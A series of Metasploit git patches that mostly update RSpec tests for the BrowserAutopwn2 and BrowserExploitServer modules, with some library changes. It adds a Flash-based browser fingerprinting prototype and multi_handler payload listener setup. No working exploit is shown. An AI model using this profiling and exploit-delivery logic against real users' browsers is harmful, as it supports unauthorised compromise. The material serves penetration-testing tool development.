-18,7 +18,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do # This empties it notes = [] - db = double('db') + db = double('db1') allow(db).to receive(:notes).and_return(notes) allow(framework).to receive(:db).and_return(db) @@ -28,14 +28,14 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do def mock_report_note(arg) framework = double('Msf::Framework', datastore: {}) notes = [create_fake_note('bap.clicks')] - db = double('db') + db = double('db2') allow(db).to receive(:notes).and_return(notes) allow(framework).to receive(:db).and_return(db) allow(subject).to receive(:framework).and_return(framework) end def create_fake_note(tag, data='') - note = double('note') + note = double('note3') allow(note).to receive(:ntype).and_return(tag) allow(note).to receive(:data).and_return(data) @@ -65,6 +65,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do datastore_options = opts[:datastore_options] || {} job_id = opts[:job_id] || 0 requirements = opts[:requirements] || {} + workspace = opts[:workspace] || 'default' mod = Msf::Exploit.new mod.extend(Msf::Exploit::Remote::BrowserExploitServer) @@ -75,6 +76,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do allow(mod).to receive(:compatible_payloads).and_return(compat_payloads) allow(mod).to receive(:datastore).and_return(datastore_options) allow(mod).to receive(:job_id).and_return(job_id) + allow(mod).to receive(:workspace).and_return(workspace) allow(mod).to receive(:exploit_simple) allow(mod).to receive(:vprint_status) allow(mod).to receive(:shortname).and_return(short_name) @@ -139,6 +141,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do datastores = opts[:datastore_options] fullname = opts[:fullname] shortname = opts[:shortname] + workspace = opts[:workspace] || 'default' p = Msf::Payload.new @@ -154,8 +157,11 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do p.datastore[key] = value end + datastores['WORKSPACE'] = workspace + allow(p).to receive(:fullname).and_return(fullname) allow(p).to receive(:shoftname).and_return(shortname) + allow(p).to receive(:workspace).and_return(workspace) p end @@ -329,10 +335,14 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do notes = [create_fake_note("#{note_type_prefix}.#{profile_tag}", profile_packed_data)] # Prepare framework.db + w = double('workspace') + allow(w).to receive(:name).and_return('WORKSPACE') + db = double('db') allow(db).to receive(:report_note).with(kind_of(Hash)) { |arg| mock_report_note(arg) } allow(db).to receive(:notes).and_return(notes) allow(db).to receive(:active).and_return(true) + allow(db).to receive(:workspace).and_return(w) allow(framework).to receive(:db).and_return(db) # Prepare framework.exploits @@ -710,20 +720,6 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do # You got me, I don't know how to implement this one because the super" end - describe '#show_payloads' do - it 'shows payloads' do - output = get_stdout { subject.show_payloads } - expect(output).to include(windows_meterpreter_reverse_tcp) - expect(output).to include(linux_meterpreter_reverse_tcp) - end - end - - describe '#set_payload' do - it 'shows set_payload' do - output = get_stdout { subject.set_payload } - expect(output).to include('\'set payload\' has been disabled for BrowserAutoPwn') - end - end end describe '#log_click' do From b1208e1337cf2be8547651c228e83de827fbda95 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 11 Jul 2015 00:16:48 -0500 Subject: [PATCH 120/150] Pending rspec --- .../core/exploit/browser_autopwnv2_spec.rb | 23 ++++++++++++++++--- 1 file changed, 20 insertions(+), 3 deletions(-) diff --git a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb index eadd5f8394..8b87348d19 100644 --- a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb @@ -53,7 +53,13 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end def create_fake_job(id) - [id.to_s, double('job')] + ctx = double('ctx') + handler = create_fake_windows_meterpreter + allow(ctx).to receive(:first).and_return(handler) + job = [id.to_s, double('job')] + allow(job).to receive(:ctx).and_return(ctx) + + job end def create_fake_exploit(opts={}) @@ -555,7 +561,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end end - describe '#start_payload_listeners' do + skip '#start_payload_listeners' do end describe '#parse_rank' do @@ -650,7 +656,8 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end end - describe '#select_payload' do + skip '#select_payload' do + end describe '#start_exploits' do @@ -767,5 +774,15 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end end + skip '#configure_job_output' do + end + + describe '#session_count' do + it 'returns the total session count' do + subject.instance_variable_set(:@payload_job_ids, job_ids) + expect(subject.session_count).to eq(0) + end + end + end \ No newline at end of file From b2d723e4a3083d4a4d5c0fe937deef7cd17a167d Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 11 Jul 2015 19:13:20 -0500 Subject: [PATCH 121/150] Rspec --- .../core/exploit/browser_autopwnv2_spec.rb | 68 +++++++++++++++++-- 1 file changed, 63 insertions(+), 5 deletions(-) diff --git a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb index 8b87348d19..b49b151d8e 100644 --- a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb @@ -11,7 +11,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do def mock_note_destroy - # The destory method doesn't pass the note as an argument like framework.jobs_stop_job. + # The destory method doesn't pass the note as an argument startlike framework.jobs_stop_job. # So here's I'm just gonna clear them all, and that sort of mimics #destroy. framework = double('Msf::Framework', datastore: {}) @@ -91,6 +91,19 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do mod end + def create_fake_multi_handler + compat_payloads = [ + [windows_meterpreter_reverse_tcp, create_fake_windows_meterpreter] + ] + + create_fake_exploit( + full_name: 'multi/handler', + short_name: 'multi/handler', + compat_payloads: compat_payloads, + job_id: 0, + ) + end + def create_fake_ms14_064 compat_payloads = [ [windows_meterpreter_reverse_tcp, create_fake_windows_meterpreter] @@ -168,6 +181,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do allow(p).to receive(:fullname).and_return(fullname) allow(p).to receive(:shoftname).and_return(shortname) allow(p).to receive(:workspace).and_return(workspace) + allow(p).to receive(:exploit_simple) p end @@ -238,6 +252,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do exploits << create_fake_ms14_064 exploits << create_fake_flash_uncompress_zlib_uaf exploits << create_fake_flash_net_connection_confusion + exploits << create_fake_multi_handler exploits }.call @@ -382,6 +397,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do mod.send(:initialize) mod.send(:datastore=, autopwn_datastore_options) allow(mod).to receive(:fullname).and_return('multi/browser/autopwn') + allow(mod).to receive(:datastore).and_return(autopwn_datastore_options) mod end @@ -561,7 +577,30 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end end - skip '#start_payload_listeners' do + describe '#start_payload_listeners' do + let(:active_payload) do + create_fake_windows_meterpreter + end + + let(:wanted_payloads) do + [{ + payload_name: active_payload.fullname, + payload_lport: active_payload.datastore['LPORT'] + }] + end + + before(:each) do + subject.instance_variable_set(:@wanted_payloads, wanted_payloads) + subject.instance_variable_set(:@payload_job_ids, []) + end + + context 'when a payload is listening' do + it 'adds the job ID to the payload job ID list' do + expect(subject.instance_variable_get(:@payload_job_ids).length).to eq(0) + subject.start_payload_listeners + expect(subject.instance_variable_get(:@payload_job_ids).length).to eq(1) + end + end end describe '#parse_rank' do @@ -656,8 +695,20 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end end - skip '#select_payload' do - + describe '#select_payload' do + before(:each) do + subject.instance_variable_set(:@wanted_payloads, []) + end + + context 'when a ms14_064 is given' do + it 'returns a windows payload' do + m = create_fake_ms14_064 + expected_payload = m.compatible_payloads.first.first + selected_payload = subject.select_payload(m) + expect(selected_payload.length).to eq(1) + expect(selected_payload.first[:payload_name]).to eq(expected_payload) + end + end end describe '#start_exploits' do @@ -724,7 +775,14 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end skip '#start_service' do - # You got me, I don't know how to implement this one because the super" + it 'prints the BrowserAutopwn URL' do + # This code blows up, por que?? + # 3 threads exist(s) when only 1 thread expected after suite runs + allow_any_instance_of(Msf::Exploit::Remote::BrowserExploitServer).to receive(:super) + allow(subject).to receive(:show_ready_exploits) + allow_any_instance_of(Rex::Socket).to receive(:source_address).and_return(nil) + subject.start_service + end end end From 5a858d68a54e895113e74a31476b964b966d700a Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 11 Jul 2015 21:11:31 -0500 Subject: [PATCH 122/150] Add rspec for browser_profile_manager --- .../remote/browser_profile_manager_spec.rb | 51 +++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb diff --git a/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb b/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb new file mode 100644 index 0000000000..a771fff517 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb @@ -0,0 +1,51 @@ +require 'msf/core' + +describe Msf::Exploit::Remote::BrowserProfileManager do + + subject do + mod = Msf::Exploit::Remote.allocate + mod.extend described_class + mod + end + + let(:default_profile) do + { + 'PREFIX' => {'KEY'=>'VALUE'} + } + end + + before(:each) do + framework = double('framework') + allow(framework).to receive(:browser_profiles).and_return(default_profile) + allow_any_instance_of(described_class).to receive(:framework).and_return(framework) + end + + describe '#browser_profile_prefix' do + it 'raises a NoMethodError' do + expect{subject.browser_profile_prefix}.to raise_exception(NoMethodError) + end + end + + describe '#browser_profile' do + before(:each) do + allow(subject).to receive(:browser_profile_prefix).and_return('PREFIX') + end + + it 'returns a hash for the profile' do + expect(subject.browser_profile).to be_kind_of(Hash) + end + end + + describe '#clear_browser_profiles' do + before(:each) do + allow(subject).to receive(:browser_profile_prefix).and_return('PREFIX') + end + + it 'clears profile cache' do + expect(subject.browser_profile.length).to eq(1) + subject.clear_browser_profiles + expect(subject.browser_profile).to be_empty + end + end + +end \ No newline at end of file From eabf561a1f4d1b6f92f4fa860db47472486fdaf8 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 11 Jul 2015 22:16:10 -0500 Subject: [PATCH 123/150] Fix some BES rspec --- .../remote/browser_exploit_server_spec.rb | 170 +++++++++++++++--- 1 file changed, 141 insertions(+), 29 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb index 78efa7e5d8..075294b6e7 100644 --- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb @@ -3,40 +3,38 @@ require 'msf/core' describe Msf::Exploit::Remote::BrowserExploitServer do - # When unpacked, this gives us: - # { - # "BAP.1433806920.Client.blLGFIlwYrxfvcY" => - # { - # "source" => "script", - # "os_name" => "Windows 8.1", - # "os_vendor" => "undefined", - # "os_device" => "undefined", - # "ua_name" => "Firefox", - # "ua_ver" => "35.0", - # "arch" => "x86", - # "java" => "1.7", - # "silverlight" => "false", - # "flash" => "14.0", - # "vuln_test" => "true", - # "proxy" => false, - # "language" => "en-US,en;q=0.5", - # "tried" => true, - # "activex" => [{"clsid"=>"{D27CDB6E-AE6D-11cf-96B8-444553540000}", "method"=>"LoadMovie"}] - # }} - let(:first_packed_profile) do - "\x81\xD9%BAP.1433806920.Client.blLGFIlwYrxfvcY\x8F\xA6source\xA6script\xA7os_name\xABWindows 8.1\xA9os_vendor\xA9undefined\xA9os_device\xA9undefined\xA7ua_name\xA7Firefox\xA6ua_ver\xA435.0\xA4arch\xA3x86\xA4java\xA31.7\xABsilverlight\xA5false\xA5flash\xA414.0\xA9vuln_test\xA4true\xA5proxy\xC2\xA8language\xC4\x0Een-US,en;q=0.5\xA5tried\xC3\xA7activex\x91\x82\xA5clsid\xD9&{D27CDB6E-AE6D-11cf-96B8-444553540000}\xA6method\xA9LoadMovie" + let(:in_memory_profile) do + { + "BAP.1433806920.Client.blLGFIlwYrxfvcY" => + { + source: "script", + os_name: "Windows 8.1", + os_vendor: "undefined", + os_device: "undefined", + ua_name: "Firefox", + ua_ver: "35.0", + arch: "x86", + java: "1.7", + silverlight: "false", + flash: "14.0", + vuln_test: "true", + proxy: false, + language: "en-US,en;q=0.5", + tried: true, + activex: [{"clsid"=>"{D27CDB6E-AE6D-11cf-96B8-444553540000}", "method"=>"LoadMovie"}] + }} end let(:default_note_type_prefix) do - MessagePack.unpack(first_packed_profile).keys.first.split('.')[0,3] * "." + in_memory_profile.keys.first.split('.')[0,3] * "." end let(:first_profile_tag) do - MessagePack.unpack(first_packed_profile).keys.first.split('.')[3] + in_memory_profile.keys.first.split('.')[3] end let(:first_profile_info) do - MessagePack.unpack(first_packed_profile).values.first + in_memory_profile.values.first end let(:cli) do @@ -46,6 +44,10 @@ describe Msf::Exploit::Remote::BrowserExploitServer do sock end + let(:shortname) do + 'browser_exploit_server' + end + def create_fake_note(tag, data) note = double('note') allow(note).to receive(:ntype).and_return(tag) @@ -57,7 +59,7 @@ describe Msf::Exploit::Remote::BrowserExploitServer do before(:each) do allow_any_instance_of(described_class).to receive(:vprint_status) - @notes = [create_fake_note(first_profile_tag, first_packed_profile)] + @notes = [create_fake_note(first_profile_tag, in_memory_profile)] end subject(:server) do @@ -65,6 +67,7 @@ describe Msf::Exploit::Remote::BrowserExploitServer do mod.extend described_class mod.send(:initialize) mod.send(:datastore=, {'NoteTypePrefix' => default_note_type_prefix}) + allow(mod).to receive(:shortname).and_return(shortname) mod end @@ -99,14 +102,14 @@ describe Msf::Exploit::Remote::BrowserExploitServer do describe '#has_bad_activex?' do context 'when there is a bad activex' do - let(:js_ax_value) { "#{first_profile_info['activex'][0][:clsid]}=>#{first_profile_info['activex'][0][:method]}=>false" } + let(:js_ax_value) { "#{first_profile_info[:activex][0][:clsid]}=>#{first_profile_info[:activex][0][:method]}=>false" } it 'returns false' do expect(server.has_bad_activex?(js_ax_value)).to be_truthy end end context 'when there is no bad activex' do - let(:js_ax_value) { "#{first_profile_info['activex'][0][:clsid]}=>#{first_profile_info['activex'][0][:method]}=>true" } + let(:js_ax_value) { "#{first_profile_info[:activex][0][:clsid]}=>#{first_profile_info[:activex][0][:method]}=>true" } it 'returns true' do expect(server.has_bad_activex?(js_ax_value)).to be_falsey end @@ -194,7 +197,7 @@ describe Msf::Exploit::Remote::BrowserExploitServer do describe '#on_request_uri' do before(:each) do - allow(server).to receive(:get_profile_info) { MessagePack.unpack(first_packed_profile) } + allow(server).to receive(:get_profile_info) { in_memory_profile } allow(server).to receive(:init_profile).with(kind_of(String)) allow(server).to receive(:update_profile) allow(server).to receive(:process_browser_info) @@ -260,4 +263,113 @@ describe Msf::Exploit::Remote::BrowserExploitServer do end end end + + describe '#browser_profile_prefix' do + it 'returns a BES prefix' do + expect(subject.browser_profile_prefix).to include(shortname) + end + end + + describe '#get_custom_404_url' do + let(:custom_404) do + 'http://example.com' + end + + before(:each) do + allow(subject).to receive(:datastore).and_return({'Custom404'=>custom_404}) + end + + context 'when a custom 404 URL is set' do + it 'returns the URL' do + expect(subject.get_custom_404_url).to eq(custom_404) + end + end + end + + describe '#get_module_uri' do + let(:exploit_receiver_page) do + 'exploit_receiver_page' + end + + before(:each) do + subject.instance_variable_set(:@exploit_receiver_page, exploit_receiver_page) + allow(subject).to receive(:get_uri).and_return('') + end + + it 'returns a module URI' do + expect(subject.get_module_uri).to include(exploit_receiver_page) + end + end + + describe '#try_set_target' do + let(:aux_mod) do + mod = Msf::Auxiliary.allocate + mod.extend described_class + mod.send(:initialize) + mod + end + + let(:target_options) do + {ua_name: 'Firefox'} + end + + let(:target) do + t = double('target') + allow(t).to receive(:opts).and_return(target_options) + t + end + + let(:default_auto_target) do + # The default auto target is always the first on the list. + # In a module this would be the "Automatic" target. + t = double('target') + allow(t).to receive(:opts).and_return({}) + t + end + + let(:targets) do + [ default_auto_target, target ] + end + + context 'when an auxiliary uses BES' do + it 'returns nil' do + expect(aux_mod.try_set_target(first_profile_info)).to be_nil + end + end + + context 'when an exploit uses BES' do + it 'sets the instance variable @target' do + expect(subject.instance_variable_get(:@target)).to be_nil + allow(subject).to receive(:targets).and_return(targets) + subject.try_set_target(first_profile_info) + expect(subject.instance_variable_get(:@target)).to eq(target) + end + end + end + + skip '#get_bad_requirements' do + end + + skip '#process_browser_info' do + end + + skip '#has_proxy?' do + end + + skip '#cookie_name' do + end + + skip '#cookie_header' do + end + + skip '#send_exploit_html' do + end + + skip '#send_not_found' do + end + + skip '#js_vuln_test' do + end + end + From 88357857a0c1825d0c5a6f56e66a47b9c418918d Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 11 Jul 2015 23:22:05 -0500 Subject: [PATCH 124/150] These datastore options don't need to set anymore --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 92a5689538..bd18149e7e 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -464,8 +464,6 @@ module Msf # @return [void] def setup t1 = Time.now - self.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 - self.datastore['DisablePayloadHandler'] = true super @bap_exploits = [] From 8d40d30d47e0c51ad47123d2295d8646f157b4a0 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 11 Jul 2015 23:24:01 -0500 Subject: [PATCH 125/150] Comemnt --- lib/msf/core/exploit/browser_autopwnv2.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index bd18149e7e..f07e990b8c 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -311,8 +311,8 @@ module Msf # We have to special case firefox payload_name = wanted[:payload_name].include?('firefox/') ? wanted[:payload_name].gsub('firefox/', 'generic/') : wanted[:payload_name] - # User configurable options - # We could do a massive multi_handler.datastore.merge!(self.datastore), but this seems + # User-configurable options + # multi_handler.datastore.merge!(self.datastore) could be used, but # really expensive. Costs more loading time. multi_handler.datastore['LHOST'] = get_payload_lhost multi_handler.datastore['PAYLOAD'] = payload_name From a7424c93a0ff32a4c36b6ca784bdd9a691bfdafb Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sun, 12 Jul 2015 01:26:43 -0500 Subject: [PATCH 126/150] Update BES rspec --- .../remote/browser_exploit_server_spec.rb | 113 +++++++++++++----- 1 file changed, 85 insertions(+), 28 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb index 075294b6e7..59597e7f04 100644 --- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb @@ -44,6 +44,25 @@ describe Msf::Exploit::Remote::BrowserExploitServer do sock end + let(:user_agent) do + 'Mozilla/5.0 (Windows NT 6.3; rv:39.0) Gecko/20100101 Firefox/35.0' + end + + let(:cli_request) do + req = Rex::Proto::Http::Request.new + req.headers['Cookie'] = cookie + req.headers['User-Agent'] = user_agent + req + end + + let(:tag) do + 'tag' + end + + let(:cookie) do + "__ua=#{tag};" + end + let(:shortname) do 'browser_exploit_server' end @@ -59,6 +78,7 @@ describe Msf::Exploit::Remote::BrowserExploitServer do before(:each) do allow_any_instance_of(described_class).to receive(:vprint_status) + allow_any_instance_of(described_class).to receive(:vprint_line) @notes = [create_fake_note(first_profile_tag, in_memory_profile)] end @@ -68,9 +88,15 @@ describe Msf::Exploit::Remote::BrowserExploitServer do mod.send(:initialize) mod.send(:datastore=, {'NoteTypePrefix' => default_note_type_prefix}) allow(mod).to receive(:shortname).and_return(shortname) + allow(mod).to receive(:fullname).and_return(fullname) + allow(mod).to receive(:report_client) mod end + let(:fullname) do + 'auxiliary/server/browser_autopwn2' + end + let(:service_double) do service = double('service') allow(service).to receive(:server_name=) @@ -164,20 +190,6 @@ describe Msf::Exploit::Remote::BrowserExploitServer do describe '#retrieve_tag' do context 'when the browser has a cookie that contains our tag' do - let(:tag) do - 'tag' - end - - let(:cookie) do - "__ua=#{tag};" - end - - let(:cli_request) do - req = Rex::Proto::Http::Request.new - req.headers['Cookie'] = cookie - req - end - it 'returns the tag from the cookie' do expect(server.retrieve_tag(cli, cli_request)).to eq(tag) end @@ -214,6 +226,7 @@ describe Msf::Exploit::Remote::BrowserExploitServer do @on_request_exploit_called = false @send_not_found_called = false @on_request_exploit_called = false + @report_client = nil end @@ -347,28 +360,72 @@ describe Msf::Exploit::Remote::BrowserExploitServer do end end - skip '#get_bad_requirements' do + describe '#get_bad_requirements' do + context 'when there is a bad requirement' do + it 'returns a bad requirement' do + requirements = { ua_ver: '34' } + subject.instance_variable_set(:@requirements, requirements) + expect(subject.get_bad_requirements(first_profile_info)).to include(:ua_ver) + end + end + + context 'when there is no bad requirement' do + it 'returns an empty hash' do + requirements = { ua_ver: first_profile_info[:ua_ver] } + subject.instance_variable_set(:@requirements, requirements) + expect(subject.get_bad_requirements(first_profile_info)).to be_empty + end + end end - skip '#process_browser_info' do + describe '#process_browser_info' do + before(:each) do + allow(subject).to receive(:report_client) { |args| @report_client = args } + allow(subject).to receive(:browser_profile).and_return(Hash.new) + end + + context 'when source is :script' do + context 'when no profile is found' do + it 'reports an empty ua_ver' do + subject.process_browser_info(:script, cli, cli_request) + expect(@report_client[:ua_ver]).to eq('[]') + end + end + end + + context 'when source is :headers' do + context 'when user-agent says the browser is FF 35.0' do + it 'reports ua_ver as 35.0' do + subject.process_browser_info(:headers, cli, cli_request) + expect(@report_client[:ua_ver]).to eq('35.0') + end + end + end end - skip '#has_proxy?' do + describe '#has_proxy?' do + context 'when there is no proxy' do + it 'returns false' do + expect(subject.has_proxy?(cli_request)).to be_falsey + end + end end - skip '#cookie_name' do + describe '#cookie_name' do + before(:each) do + subject.datastore.merge!({'CookieName'=>cookie}) + end + + it 'returns a cookiename' do + expect(subject.cookie_name).to eq(cookie) + end end - skip '#cookie_header' do - end - - skip '#send_exploit_html' do - end - - skip '#send_not_found' do - end - - skip '#js_vuln_test' do + describe '#cookie_header' do + it 'returns a cookie' do + tag = 'TAG' + expect(subject.cookie_header(tag)).to include(tag) + end end end From 88a00b1ed833bb9cca820d32b0294f9d638325b7 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sun, 12 Jul 2015 14:45:46 -0500 Subject: [PATCH 127/150] We don't use MessagePack anymore --- .../core/exploit/browser_autopwnv2_spec.rb | 44 +++++++++---------- 1 file changed, 21 insertions(+), 23 deletions(-) diff --git a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb index b49b151d8e..c2a5317e60 100644 --- a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb @@ -307,34 +307,32 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do } end - # When unpacked, this gives us: - # { - # "BAP.1433806920.Client.blLGFIlwYrxfvcY" => { - # "source" => "script", - # "os_name" => "Windows 8.1", - # "os_vendor" => "undefined", - # "os_device" => "undefined", - # "ua_name" => "Firefox", - # "ua_ver" => "35.0", - # "arch" => "x86", - # "java" => "1.7", - # "silverlight" => "false", - # "flash" => "14.0", - # "vuln_test" => "true", - # "proxy" => false, - # "language" => "en-US,en;q=0.5", - # "tried" => true - # }} - let(:profile_packed_data) do - "\x81\xD9%BAP.1433806920.Client.blLGFIlwYrxfvcY\x8E\xA6source\xA6script\xA7os_name\xABWindows 8.1\xA9os_vendor\xA9undefined\xA9os_device\xA9undefined\xA7ua_name\xA7Firefox\xA6ua_ver\xA435.0\xA4arch\xA3x86\xA4java\xA31.7\xABsilverlight\xA5false\xA5flash\xA414.0\xA9vuln_test\xA4true\xA5proxy\xC2\xA8language\xC4\x0Een-US,en;q=0.5\xA5tried\xC3" + let(:default_profile_data) do + { + "BAP.1433806920.Client.blLGFIlwYrxfvcY" => { + "source" => "script", + "os_name" => "Windows 8.1", + "os_vendor" => "undefined", + "os_device" => "undefined", + "ua_name" => "Firefox", + "ua_ver" => "35.0", + "arch" => "x86", + "java" => "1.7", + "silverlight" => "false", + "flash" => "14.0", + "vuln_test" => "true", + "proxy" => false, + "language" => "en-US,en;q=0.5", + "tried" => true + }} end let(:profile_tag) do - MessagePack.unpack(profile_packed_data).keys.first.split('.')[3] + default_profile_data.keys.first.split('.')[3] end let(:note_type_prefix) do - MessagePack.unpack(profile_packed_data).keys.first.split('.')[0,3] * "." + default_profile_data.keys.first.split('.')[0,3] * "." end let(:cli) do @@ -353,7 +351,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do framework = double('Msf::Framework', datastore: {}) # Prepare fake notes - notes = [create_fake_note("#{note_type_prefix}.#{profile_tag}", profile_packed_data)] + notes = [create_fake_note("#{note_type_prefix}.#{profile_tag}", default_profile_data)] # Prepare framework.db w = double('workspace') From 9116460cb06cb81f8c7a430637f79980b1150f5c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 13 Jul 2015 16:33:55 -0500 Subject: [PATCH 128/150] Add prototype with AS3 --- data/flash_detector/detector.swf | Bin 0 -> 801 bytes external/source/flash_detector/Detector.as | 36 ++++++ .../exploit/remote/browser_exploit_server.rb | 110 +++++++++++++----- 3 files changed, 117 insertions(+), 29 deletions(-) create mode 100644 data/flash_detector/detector.swf create mode 100755 external/source/flash_detector/Detector.as diff --git a/data/flash_detector/detector.swf b/data/flash_detector/detector.swf new file mode 100644 index 0000000000000000000000000000000000000000..e7a48d93691d0907316c7141d864790570b99d71 GIT binary patch literal 801 zcmV++1K#{vS5qC`1ONaK0{{SB001BW06YKujv4yj=Vl0?JwAo?b#KsqVKo~Xixy4a z1v37mOh!q!duw(1D_l1z3z0VgHxB9Y;ryOt+H4UaGwq-bc5tB0m@amJ@Zeci1_!QZnT84W^-kDu!b~qNjlRVSVp3_xhTH3JNC+2)1J*>=-p>|kv2*_BK)@TdzxW~s5 zRX~U5S-?);A+G44YL3M0*f=<)^i{biPBGOIR$lYO&{zPAusrYQ+MNi=aD#T4!$ zPkS*y6Mr~&jb2>K)qny&rD&(ESY3$E?lK{?1zUms&{I3Vb0PAfZnw)6Q3%5yC1XyKaFMW zh();^#l%$yYUu1F6xNLje$A1ok9CORez%6DkmYl83$w83pe+7>tTq6gI*Z<$H1=`b zuAKe}IlLQz*K{>h}f%=FRX71&F=|ENB4n{I3MQS;6FB; z%w2iKvPqvxFbM5*%MOZ9@|W~$RwJ}aOUKSOiSLaT <%= js_ie_addons_detect if os.match(OperatingSystems::Match::WINDOWS) and client == HttpClients::IE %> + var flash_version = ""; + var do_flash_loop = true; + function objToQuery(obj) { var q = []; for (var key in obj) { @@ -402,6 +399,52 @@ module Msf return Base64.encode(q.join('&')); } + function isEmpty(str) { + return (!str \|\| 0 === str.length); + } + + function sendInfo(info) { + var query = objToQuery(info); + postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query, function(){ + window.location="<%= get_module_resource %>"; + }); + } + + function setFlashVersion(ver) { + console.log('called! :) ' + ver) + flash_version = ver + do_flash_loop = false + console.log('flash version after set_version: ' + flash_version) + return; + } + + function createFlashObject(src, attributes, parameters) { + var i, html, div, obj, attr = attributes \|\| {}, param = parameters \|\| {}; + attr.type = 'application/x-shockwave-flash'; + if (window.ActiveXObject) { + attr.classid = 'clsid:d27cdb6e-ae6d-11cf-96b8-444553540000'; + param.movie = src; + } else { + attr.data = src; + } + + html = ''; + } + html += ''; + div = document.createElement('div'); + div.innerHTML = html; + obj = div.firstChild; + div.removeChild(obj); + console.log(obj) + alert('check obj') + return obj; + } window.onload = function() { var osInfo = os_detect.getVersion(); @@ -418,15 +461,6 @@ module Msf "vuln_test" : <%= js_vuln_test %> }; - if (d["flash"]) { - // Load SWF for accurate Flash detection - // This SWF needs to send the Flash version info as a POST request to BES sort of like this: - // <%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/ - var flashObject = document.createElement("object"); - flashObject.setAttribute("data", "Flash location from the @flash_swf instance variable"); - document.body.appendChild(flashObject); // Do you actually need to do this? - } - <% if os.match(OperatingSystems::Match::WINDOWS) and client == HttpClients::IE %> d['office'] = ie_addons_detect.getMsOfficeVersion(); d['mshtml_build'] = ScriptEngineBuildVersion().toString(); @@ -448,10 +482,30 @@ module Msf <% end %> <% end %> - var query = objToQuery(d); - postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query, function(){ - window.location="<%= get_module_resource %>"; - }); + if (d["flash"] != null && (d["flash"].match(/[\\d]+.[\\d]+.[\\d]+.[\\d]+/)) == null) { + alert('flash detection!') + // Load SWF for accurate Flash detection + // This SWF needs to send the Flash version info as a POST request to BES sort of like this: + var flashObject = createFlashObject('<%=get_resource.chomp("/")%>/<%=@flash_swf%>', {width: 1, height: 1}, {allowScriptAccess: 'always', Play: 'True'}); + + (function loop(){ + console.log('loop: ' + flash_version) + setTimeout(function(){ + if (do_flash_loop) { + loop() + } + console.log('finally: ' + flash_version) + if (!isEmpty(flash_version)) { + d["flash"] = flash_version + } + sendInfo(d) + }, 1000); + })(); + + document.body.appendChild(flashObject) + } else { + sendInfo(d) + } } |).result(binding()) @@ -485,8 +539,10 @@ module Msf end def load_swf_detection - # Your 